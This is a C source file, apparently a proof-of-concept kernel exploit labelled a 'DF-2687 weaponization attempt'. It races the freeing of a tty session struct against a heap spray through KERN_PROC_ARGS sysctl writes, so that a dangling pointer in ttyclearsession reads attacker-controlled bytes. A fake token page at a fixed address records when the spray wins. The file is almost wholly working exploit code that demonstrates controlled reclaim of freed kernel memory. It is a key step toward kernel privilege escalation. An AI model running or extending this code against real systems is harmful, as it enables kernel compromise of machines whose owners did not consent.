DF-2687 / df2687race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 | /* * DF-2687 weaponization attempt: win the ~30ns window inside the orphan's * final close (between kfree(session) at the tail of sess_rele()->pgrel() * and the `sp = tp->t_session; prg = sp->s_prg` read in the SAME * ttyclearsession() invocation), so that the dangling deref consumes an * ATTACKER-CONTROLLED chunk instead of stale session bytes. * * Controlled-content reclaim: sysctl KERN_PROC_ARGS self-write does * kmalloc(8+96=104, M_PARGS) <- same slab zone as struct session(104) * SYSCTL_IN(96 bytes) <- fully controlled binary content * kfree(pa) <- transient, chunk keeps our bytes * * Benign detector: sprayed s_prg = FAKE_TOKEN_VA, a private RW page with * t_count = TOK_EXCLREQ (2), t_ref = 0. * If the kernel dance runs on it: * gettoken: CAS 2 -> 1, t_ref := <kernel td_toks pointer> * reltoken: t_ref := NULL, t_count: 1 -> 0 * => page transitions 2 -> 0 and stays 0: persistent proof the dangling * t_session consumed OUR bytes. No crash; loop keeps running. * * usage: race <closers> <sprayers> <seconds> */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/stat.h> #include <sys/sysctl.h> #include <sys/ttycom.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <signal.h> #include <pthread.h> #include <sys/mman.h> #define FAKE_TOKEN_VA 0x100000000UL #define TOK_EXCLUSIVE 0x00000001L #define TOK_EXCLREQ 0x00000002L struct fake_tok { volatile long t_count; /* +0 */ volatile void *t_ref; /* +8 */ volatile const char *t_desc; /* +16 */ char descbuf[32]; }; static struct fake_tok *ft; static volatile uint64_t hits; static volatile uint64_t attempts; static volatile int stop_flag; static uint64_t hit_samples[64]; static int nsamples; static void ft_reset(void) { ft->t_count = TOK_EXCLREQ; ft->t_ref = NULL; strcpy(ft->descbuf, "df2687"); ft->t_desc = ft->descbuf; } static int open_pty(int *unit, char *pts, int *slave) { struct stat st; int m, s; m = open("/dev/ptmx", O_RDWR); if (m < 0) return -1; if (fstat(m, &st) < 0) { close(m); return -1; } *unit = minor(st.st_rdev); snprintf(pts, 64, "/dev/pts/%d", *unit); s = open(pts, O_RDWR); if (s < 0) { close(m); return -1; } *slave = s; return m; } static int make_orphan(int *unit_out) { char pts1[64], pts2[64]; int pfd[2]; pid_t L; int m, s, m2, s2, u1, u2; char c; int st; if (pipe(pfd) < 0) return -1; m = open_pty(&u1, pts1, &s); if (m < 0) { close(pfd[0]); close(pfd[1]); return -1; } L = fork(); if (L < 0) { close(pfd[0]); close(pfd[1]); close(m); close(s); return -1; } if (L == 0) { close(pfd[0]); signal(SIGHUP, SIG_IGN); if (read(pfd[1], &c, 1) != 1) _exit(20); close(pfd[1]); if (setsid() < 0) _exit(21); if (ioctl(m, TIOCSCTTY, 0) < 0) _exit(22); close(m); m2 = open_pty(&u2, pts2, &s2); if (m2 < 0) _exit(23); if (ioctl(s2, TIOCSCTTY, 0) < 0) _exit(24); _exit(0); } close(pfd[1]); close(m); if (write(pfd[0], "x", 1) != 1) ; close(pfd[0]); if (waitpid(L, &st, 0) < 0) { close(s); return -1; } if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { close(s); return -1; } *unit_out = u1; return s; } static void * sprayer(void *arg) { unsigned char img[96]; int mib[4]; pid_t me = getpid(); (void)arg; mib[0] = CTL_KERN; mib[1] = KERN_PROC; mib[2] = KERN_PROC_ARGS; mib[3] = me; memset(img, 0, sizeof(img)); img[0] = 'd'; img[1] = 'f'; /* chunk+24 (s_prg) == image offset 16 */ { uint64_t v = FAKE_TOKEN_VA; memcpy(img + 16, &v, 8); } while (!stop_flag) { if (sysctl(mib, 4, NULL, NULL, img, sizeof(img)) < 0) { /* transient failures tolerable */ usleep(1000); } } return NULL; } static void * closer(void *arg) { long id = (long)arg; int s, unit; uint64_t n = 0, h = 0; (void)id; while (!stop_flag) { s = make_orphan(&unit); if (s < 0) { usleep(1000); continue; } if (close(s) == 0) { n++; /* did the kernel dance run on our fake token? */ if (ft->t_count == 0) { h++; __sync_fetch_and_add(&hits, 1); if (nsamples < 64) { uint64_t sample = (uint64_t)(uintptr_t)ft->t_ref; hit_samples[nsamples++] = sample; } ft_reset(); } } if ((n & 0x3ff) == 0) { fprintf(stderr, "closer %ld: %lu closes, %lu hits\n", id, n, h); } } fprintf(stderr, "closer %ld DONE: %lu closes, %lu hits\n", id, n, h); return NULL; } int main(int argc, char **argv) { int ncloser = argc > 1 ? atoi(argv[1]) : 3; int nspray = argc > 2 ? atoi(argv[2]) : 8; int secs = argc > 3 ? atoi(argv[3]) : 60; pthread_t *th; int i; setvbuf(stderr, NULL, _IONBF, 0); ft = mmap((void *)FAKE_TOKEN_VA, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_FIXED | MAP_PRIVATE, -1, 0); if (ft == MAP_FAILED) { perror("mmap fake token"); return 1; } ft_reset(); printf("fake token page at %#lx t_count=%ld\n", FAKE_TOKEN_VA, ft->t_count); th = calloc(ncloser + nspray, sizeof(pthread_t)); for (i = 0; i < nspray; i++) pthread_create(&th[i], NULL, sprayer, (void *)(long)i); for (i = 0; i < ncloser; i++) pthread_create(&th[nspray + i], NULL, closer, (void *)(long)i); sleep(secs); stop_flag = 1; for (i = 0; i < ncloser + nspray; i++) pthread_join(th[i], NULL); printf("RESULT: hits=%lu fake-token final t_count=%ld\n", hits, ft->t_count); for (i = 0; i < nsamples && i < 8; i++) printf(" hit sample t_ref residual=%#lx\n", (unsigned long)hit_samples[i]); return hits > 0 ? 0 : 3; } |